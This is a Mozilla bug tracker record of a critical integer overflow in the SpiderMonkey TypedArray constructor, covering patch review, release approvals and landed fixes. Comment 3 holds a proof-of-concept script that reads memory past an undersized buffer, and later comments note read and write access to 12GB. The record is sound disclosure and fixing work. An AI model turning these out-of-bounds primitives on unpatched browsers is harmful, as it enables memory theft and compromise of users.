Closed
Bug 1343513
Opened 7 years ago
Closed 7 years ago
Integer overflow when validating length argument in TypedArray constructor
Categories
(Core :: JavaScript Engine, defect)
Core
JavaScript Engine
Tracking
()
RESOLVED
FIXED
mozilla54
People
(Reporter: anba, Assigned: anba)
References
Details
(Keywords: csectype-bounds, regression, sec-critical, Whiteboard: [adv-main52+])
Attachments
(2 files, 4 obsolete files)
2.96 KB,
patch
|
jandem
:
review+
dveditz
:
approval-mozilla-aurora+
dveditz
:
approval-mozilla-beta+
dveditz
:
approval-mozilla-release+
dveditz
:
approval-mozilla-esr52+
dveditz
:
sec-approval+
|
Details | Diff | Splinter Review |
1005 bytes,
patch
|
anba
:
review+
|
Details | Diff | Splinter Review |
Test case: --- var i = 0; do { i++; var ta = new Int32Array(inIon() ? 0x7fffffff : 1); } while (!inIon()); print("DONE", i); print("len", ta.length); print("len", ta.byteLength); ta.copyWithin(0); --- Output: --- DONE 1939 len 2147483647 len -4 Assertion failure: ((4294967295U) >> ElementShift) >= count, at /home/andre/git/mozilla-central/js/src/vm/SelfHosting.cpp:1264 ---
Assignee | ||
Comment 1•7 years ago
|
||
Adds this check [1] to the makeTypedArrayWithTemplate function to avoid creating a typed array whose length exceeds INT32_MAX. [1] http://searchfox.org/mozilla-central/rev/9c1c7106eef137e3413fd867fc1ddfb1d3f6728c/js/src/vm/TypedArrayObject.cpp#929-933
Assignee | ||
Comment 2•7 years ago
|
||
Assignee | ||
Comment 3•7 years ago
|
||
Better PoC to show the severity of this bug: --- do { var ta = new Int32Array(inIon() ? 2**30 : 1); } while (!inIon()); print("length", ta.length); // 2**30 print("byteLength", ta.byteLength); // uint32_t(2**30 * sizeof(int32_t)) === 0 (!) // Calls TypedArrayObject::ensureHasBuffer, but allocated buffer is too small. ta.buffer; print("buffer.byteLength", ta.buffer.byteLength); // 0 // Attacker can read memory after ta.buffer. for (var i = 0, j = 1000, len = ta.length; j < len; ++j) { var x = ta[j]; if (x) { // Print 10 example values. if (i++ < 10) print(j, x.toString(16).padStart(8, "0")); else break; } } ---
Assignee | ||
Updated•7 years ago
|
Severity: normal → critical
Assignee | ||
Updated•7 years ago
|
Keywords: sec-critical
Assignee | ||
Comment 4•7 years ago
|
||
Reproducible with Firefox 51, probably introduced by bug 1276955 (Firefox 50).
Assignee | ||
Updated•7 years ago
|
Attachment #8842407 -
Flags: review?(jdemooij)
Assignee | ||
Updated•7 years ago
|
Attachment #8842408 -
Flags: review?(jdemooij)
Updated•7 years ago
|
Assignee: nobody → andrebargull
status-firefox-esr45:
--- → unaffected
status-firefox-esr52:
--- → affected
tracking-firefox52:
--- → ?
tracking-firefox53:
--- → ?
tracking-firefox54:
--- → ?
tracking-firefox-esr52:
--- → ?
Flags: in-testsuite?
Keywords: regression
Assignee | ||
Comment 5•7 years ago
|
||
Notes: - Using `var ta = new Float64Array(inIon() ? 1610612736 : 1);` should allow to read 12GB of memory. - Only affects 64-bit Firefox, because js::CalculateAllocSize [1] should catch the overflow for 32-bit builds. [1] http://searchfox.org/mozilla-central/rev/9c1c7106eef137e3413fd867fc1ddfb1d3f6728c/js/src/vm/TypedArrayObject.cpp#674
Assignee | ||
Comment 6•7 years ago
|
||
(In reply to André Bargull from comment #5) > Notes: > - Using `var ta = new Float64Array(inIon() ? 1610612736 : 1);` should allow > to read 12GB of memory. s/read/read and write/
Comment 7•7 years ago
|
||
Comment on attachment 8842407 [details] [diff] [review] bug1343513.patch Review of attachment 8842407 [details] [diff] [review]: ----------------------------------------------------------------- ::: js/src/vm/TypedArrayObject.cpp @@ +674,5 @@ > if (len < 0 || !js::CalculateAllocSize<NativeType>(len, &nbytes)) { > JS_ReportErrorNumberASCII(cx, GetErrorMessage, nullptr, JSMSG_TYPED_ARRAY_BAD_ARGS); > return nullptr; > } > + if (nbytes >= INT32_MAX / sizeof(NativeType)) { Comparing this to the code in maybeCreateArrayBuffer, shouldn't we do this check with len instead of nbytes?
Attachment #8842407 -
Flags: review?(jdemooij)
Updated•7 years ago
|
Attachment #8842408 -
Flags: review?(jdemooij) → review+
Comment 8•7 years ago
|
||
This bug is extremely critical and easily exploited. The fix is super safe as it checks for large lengths that don't really show up in the wild. Is there any chance we can get it in 52?
Flags: needinfo?(rkothari)
Flags: needinfo?(lhenry)
Assignee | ||
Comment 9•7 years ago
|
||
Whoa, copied-pasted the wrong variable name... Thanks for spotting that!
Attachment #8842407 -
Attachment is obsolete: true
Attachment #8842884 -
Flags: review?(jdemooij)
Comment 10•7 years ago
|
||
Comment on attachment 8842884 [details] [diff] [review] bug1343513.patch Review of attachment 8842884 [details] [diff] [review]: ----------------------------------------------------------------- Good catch. Thanks for reporting and fixing!
Attachment #8842884 -
Flags: review?(jdemooij) → review+
Assignee | ||
Comment 11•7 years ago
|
||
Comment on attachment 8842884 [details] [diff] [review] bug1343513.patch This is still missing something, because the following test case doesn't throw an error: --- var i = 0; do { i++; var ta = new Int32Array(inIon() ? 0x20000001 : 1); } while (!inIon()); print(ta.length); print(ta.byteLength); // Prints -2147483644 (!) --- I guess MacroAssembler::initTypedArraySlots() needs some fixing as well? |len| also needs to be casted to uint32_t to avoid a unsigned-signed comparison warning.
Attachment #8842884 -
Flags: review+ → review-
Assignee | ||
Comment 12•7 years ago
|
||
New patch as discussed. I didn't delete the CheckedUint32 part, so it's easier to see that calling JS_ROUNDUP in the next line doesn't cause any issues.
Attachment #8842884 -
Attachment is obsolete: true
Attachment #8842919 -
Flags: review?(jdemooij)
Assignee | ||
Comment 13•7 years ago
|
||
Added a new test case for the issue in comment #11. And updated the expected error to TypeError instead of InternalError.
Attachment #8842408 -
Attachment is obsolete: true
Attachment #8842920 -
Flags: review?(jdemooij)
Comment 14•7 years ago
|
||
Julien, what do you think for 52?
Flags: needinfo?(lhenry) → needinfo?(jcristau)
Updated•7 years ago
|
Attachment #8842919 -
Flags: review?(jdemooij) → review+
Comment 15•7 years ago
|
||
Comment on attachment 8842920 [details] [diff] [review] bug1343513-testcase.patch Review of attachment 8842920 [details] [diff] [review]: ----------------------------------------------------------------- LGTM.
Attachment #8842920 -
Flags: review?(jdemooij) → review+
Comment 16•7 years ago
|
||
Sounds like we should take this and rebuild 52 and esr52 (for a build 3 later today). Marking this as a 52 blocker for now. Alternatively we can plan a dot release for the week after next. Dan, what do you think? Can you take a look? We also would need sec approval.
Flags: needinfo?(dveditz)
Comment 17•7 years ago
|
||
We should take this. A dot release would be OK if we've got one planned, but if we haven't done RC2 yet let's take it now.
Blocks: 1276955
Group: core-security → javascript-core-security
Flags: needinfo?(dveditz)
Keywords: csectype-bounds
Comment 18•7 years ago
|
||
Comment on attachment 8842920 [details] [diff] [review] bug1343513-testcase.patch No sec-approval for the testcase. Please do NOT land this until a few weeks after the release.
Comment 19•7 years ago
|
||
Comment on attachment 8842919 [details] [diff] [review] bug1343513.patch Approval all the things: 52 (Release), esr-52, aurora (53), and sec-approval.
Attachment #8842919 -
Flags: sec-approval+
Attachment #8842919 -
Flags: approval-mozilla-release+
Attachment #8842919 -
Flags: approval-mozilla-esr52+
Attachment #8842919 -
Flags: approval-mozilla-beta+
Attachment #8842919 -
Flags: approval-mozilla-aurora+
Comment 20•7 years ago
|
||
Do we need another fennec build here too? Is Firefox for Android affected?
Comment 21•7 years ago
|
||
https://hg.mozilla.org/integration/mozilla-inbound/rev/4699504e17bae5ad05e5be96a9136833dfede02b
Comment 22•7 years ago
|
||
(In reply to Liz Henry (:lizzard) (needinfo? me) from comment #20) > Do we need another fennec build here too? Is Firefox for Android affected? Yes all builds are affected.
Comment 23•7 years ago
|
||
uplift |
https://hg.mozilla.org/releases/mozilla-aurora/rev/c68908b7f6f8 https://hg.mozilla.org/releases/mozilla-beta/rev/2abf82f6b8dc https://hg.mozilla.org/releases/mozilla-release/rev/2abf82f6b8dc https://hg.mozilla.org/releases/mozilla-esr52/rev/2abf82f6b8dc
Flags: needinfo?(rkothari)
Flags: needinfo?(jcristau)
Updated•7 years ago
|
Comment 24•7 years ago
|
||
https://hg.mozilla.org/mozilla-central/rev/4699504e17ba
Status: NEW → RESOLVED
Closed: 7 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla54
Updated•7 years ago
|
Whiteboard: [adv-main52+]
Updated•7 years ago
|
Group: javascript-core-security → core-security-release
Updated•7 years ago
|
Group: core-security-release
Assignee | ||
Comment 25•7 years ago
|
||
Updated the test case to expect a RangeError instead of a TypeError. Carrying r+.
Attachment #8842920 -
Attachment is obsolete: true
Attachment #8924603 -
Flags: review+
Assignee | ||
Comment 26•7 years ago
|
||
Check-in needed for: - bug1343513-testcase.patch
Keywords: checkin-needed
Comment 27•7 years ago
|
||
Pushed by ryanvm@gmail.com: https://hg.mozilla.org/integration/mozilla-inbound/rev/a1f8161cfdfa Add test case for bug 1343513. r=jandem
Keywords: checkin-needed
Comment 28•7 years ago
|
||
bugherder |
https://hg.mozilla.org/mozilla-central/rev/a1f8161cfdfa
You need to log in
before you can comment on or make changes to this bug.
Description
•